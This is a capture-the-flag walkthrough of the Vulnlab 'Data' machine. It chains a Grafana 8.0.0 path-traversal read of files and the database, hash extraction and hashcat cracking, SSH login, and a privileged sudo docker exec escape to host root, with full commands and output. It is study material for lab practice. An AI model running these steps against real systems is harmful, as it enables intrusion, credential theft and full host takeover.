Post

Vulnlab Linux Easy: Data

Data is an Easy rated Linux machine on Vulnlab.

Vulnlab Linux Easy: Data

Nmap Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV 10.10.88.246    
Starting Nmap 7.94SVN ( <https://nmap.org> ) at 2024-01-26 19:56 CET
Nmap scan report for 10.10.88.246
Host is up (0.034s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4a:07:4b:7c:95:c4:30:5f:dd:94:1c:24:95:0d:03:5a (RSA)
|   256 3b:f5:63:a4:dc:54:6f:7d:29:dd:5d:8e:43:c9:81:28 (ECDSA)
|_  256 ac:1b:f3:e9:6a:ed:b5:7a:e4:68:61:42:f6:27:33:d6 (ED25519)
3000/tcp open  ppp?
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Fri, 26 Jan 2024 18:57:00 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Fri, 26 Jan 2024 18:56:29 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Fri, 26 Jan 2024 18:56:35 GMT
|_    Content-Length: 0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 91.57 seconds

Enumerate HTTP (Port 3000)

Grafana seems to be hosted on port 3000. Pasted image 20240714125134.png

In the bottom of the page we find a version of v8.0.0. Pasted image 20240714125130.png

Whilst looking for exploits we find the following PoC which gives us LFI.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(kali㉿kali)-[~]
└─$ python3 exploit.py -H <http://10.10.88.246:3000>
Read file > /etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

On hacktricks, we find an attack vector. We can use our LFI to read the grafana.db file.

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~]
└─$ curl --path-as-is <http://10.10.88.246:3000/public/plugins/welcome/../../../../../../../../var/lib/grafana/grafana.db> -o grafana.db 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  584k  100  584k    0     0  1689k      0 --:--:-- --:--:-- --:--:-- 1692k


┌──(kali㉿kali)-[~]
└─$ file grafana.db           
grafana.db: SQLite 3.x database, last written using SQLite version 3035004, file counter 348, database pages 146, cookie 0x109, schema 4, UTF-8, version-valid-for 348

In the database file we find an admin and boris user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(kali㉿kali)-[~]
└─$ sqlite3 grafana.db
SQLite version 3.44.0 2023-11-01 11:23:50
Enter ".help" for usage hints.
sqlite> .tables
alert                       login_attempt             
alert_configuration         migration_log             
alert_instance              org                       
alert_notification          org_user                  
alert_notification_state    playlist                  
alert_rule                  playlist_item             
alert_rule_tag              plugin_setting            
alert_rule_version          preferences               
annotation                  quota                     
annotation_tag              server_lock               
api_key                     session                   
cache_data                  short_url                 
dashboard                   star                      
dashboard_acl               tag                       
dashboard_provisioning      team                      
dashboard_snapshot          team_member               
dashboard_tag               temp_user                 
dashboard_version           test_data                 
data_source                 user                      
library_element             user_auth                 
library_element_connection  user_auth_token           
sqlite> select * from user;
1|0|admin|admin@localhost||7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8|YObSoLj55S|hLLY6QQ4Y6||1|1|0||2022-01-23 12:48:04|2022-01-23 12:48:50|0|2022-01-23 12:48:50|0
2|0|boris|boris@data.vl|boris|dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8|LCBhdtJWjl|mYl941ma8w||1|0|0||2022-01-23 12:49:11|2022-01-23 12:49:11|0|2012-01-23 12:49:11|0

Using the following PoC, we can format the password hash correctly so we can crack it using hashcat (use chatgpt to translate the go script to Python and establish a connection to the sqlite3 file).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import sqlite3
import base64
import hashlib

# Connect to the SQLite database file
conn = sqlite3.connect('grafana.db')

# Create a cursor object to execute SQL queries
cursor = conn.cursor()

# Execute the query to fetch user data
cursor.execute("SELECT email, password, salt, is_admin FROM user")
rows = cursor.fetchall()

# Open a file to write hashed passwords
with open("hashed_passwords.txt", "w") as hash_file:
    # Process each row
    for row in rows:
        email, password, salt, is_admin = row

        # Decode the hex-encoded password hash
        decoded_hash = bytes.fromhex(password)

        # Encode the decoded hash to base64
        hash64 = base64.b64encode(decoded_hash).decode('utf-8')

        # Encode the salt to base64
        salt64 = base64.b64encode(salt.encode('utf-8')).decode('utf-8')

        # Write to file
        hash_file.write(f"sha256:10000:{salt64}:{hash64}\\n")

# Close the cursor and connection
cursor.close()
conn.close()

Running the script will return a hashed_passwords.txt file.

1
2
3
4
┌──(kali㉿kali)-[~]
└─$ cat hashed_passwords.txt 
sha256:10000:WU9iU29MajU1Uw==:epGeS76Vz1EE7fNU7i5iNO+sHKH4FCaESiTE32ExMizzcjySFkthcunnP696TCBy+Pg=
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=

Now use hashcat to crack the password, we only cracked the password of the boris user: beautiful1.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(kali㉿kali)-[~]
└─$ hashcat -m 10900 hashed_passwords.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 4.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-penryn-AMD Ryzen 7 5700U with Radeon Graphics, 2913/5890 MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

INFO: All hashes found as potfile and/or empty entries! Use --show to display them.

Started: Fri Jan 26 20:37:48 2024
Stopped: Fri Jan 26 20:37:48 2024


┌──(kali㉿kali)-[~]
└─$ hashcat -m 10900 hashed_passwords.txt /usr/share/wordlists/rockyou.txt --show
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:beautiful1

Since we cracked the password of the boris user we can try to SSH.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(kali㉿kali)-[~]
└─$ ssh boris@10.10.88.246
boris@10.10.88.246's password: 
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-1060-aws x86_64)

 * Documentation:  <https://help.ubuntu.com>
 * Management:     <https://landscape.canonical.com>
 * Support:        <https://ubuntu.com/advantage>

  System information as of Fri Jan 26 19:39:08 UTC 2024

  System load:  0.0               Processes:              100
  Usage of /:   19.8% of 7.69GB   Users logged in:        0
  Memory usage: 26%               IP address for eth0:    10.10.88.246
  Swap usage:   0%                IP address for docker0: 172.17.0.1

0 updates can be applied immediately.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Fri Jan 26 19:39:05 2024 from 10.8.1.49
boris@ip-10-10-10-11:~$ id
uid=1001(boris) gid=1001(boris) groups=1001(boris)

User flag: VL{fbc4248a6ec4f7936b92ec76ad0cb654}

1
2
boris@ip-10-10-10-11:~$ cat user.txt 
VL{fbc4248a6ec4f7936b92ec76ad0cb654}

Privilege Escalation

Sudo -l output.

1
2
3
4
5
6
boris@ip-10-10-10-11:~$ sudo -l
Matching Defaults entries for boris on ip-10-10-10-11:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin

User boris may run the following commands on ip-10-10-10-11:
    (root) NOPASSWD: /snap/bin/docker exec *

Since we need the Docker container id in order to use sudo docker exec we need to find a way to obtain it without using any Docker commands (since we don’t have the permission to do so). Whilst browsing the docker docs I found a –hostname flag that can be used when creating Docker containers. This got me curious as to what the default hostname of a Docker container is set to (without specifying a hostname).

1
a container's hostname defaults to be the container's ID in Docker.

Since we have an LFI we can get the hostname of the Docker container.

1
2
3
4
┌──(kali㉿kali)-[~]
└─$ python3 exploit.py -H <http://10.10.88.246:3000>                                                                                    
Read file > /etc/hostname
e6ff5b1cbc85

Now we can become root: Link.

1
2
3
boris@ip-10-10-10-11:~$ sudo docker exec -it e6ff5b1cbc85 /bin/bash
bash-5.1$ id
uid=472(grafana) gid=0(root) groups=0(root)

Since our uid is still that of the Grafana user we have to get back to the drawing board.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
boris@ip-10-10-10-11:~$ docker exec --help

Usage:  docker exec [OPTIONS] CONTAINER COMMAND [ARG...]

Run a command in a running container

Options:
  -d, --detach               Detached mode: run command in the background
      --detach-keys string   Override the key sequence for detaching a container
  -e, --env list             Set environment variables
      --env-file list        Read in a file of environment variables
  -i, --interactive          Keep STDIN open even if not attached
      --privileged           Give extended privileges to the command
  -t, --tty                  Allocate a pseudo-TTY
  -u, --user string          Username or UID (format: <name|uid>[:<group|gid>])
  -w, --workdir string       Working directory inside the container

Docker exec has a —privileged and —user flag which we can use. Since the uid of the root user is always 0 we can craft our new payload.

1
2
3
boris@ip-10-10-10-11:~$ sudo docker exec -it --privileged --user 0 e6ff5b1cbc85 /bin/bash
bash-5.1# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Since the flag isn’t located in /root we can try to list the drives using fdisk.

1
2
3
4
5
6
7
bash-5.1# fdisk -l
Disk /dev/xvda: 8192 MB, 8589934592 bytes, 16777216 sectors
6367 cylinders, 85 heads, 31 sectors/track
Units: sectors of 1 * 512 = 512 bytes

Device   Boot StartCHS    EndCHS        StartLBA     EndLBA    Sectors  Size Id Type
/dev/xvda1 *  0,32,33     20,84,31          2048   16777182   16775135 8190M 83 Linux

Let’s mount /dev/xvda1.

1
2
3
4
5
6
bash-5.1# mkdir flag
bash-5.1# mount /dev/xvda1 flag
bash-5.1# ls flag
bin             etc             initrd.img.old  lost+found      opt             run             srv             usr             vmlinuz.old
boot            home            lib             media           proc            sbin            sys             var
dev             initrd.img      lib64           mnt             root            snap            tmp             vmlinuz

We can now get the root flag: VL{37c930a3b8b53457d080b0a6f033bc16}

1
2
bash-5.1# cat root.txt 
VL{37c930a3b8b53457d080b0a6f033bc16}
This post is licensed under CC BY 4.0 by the author.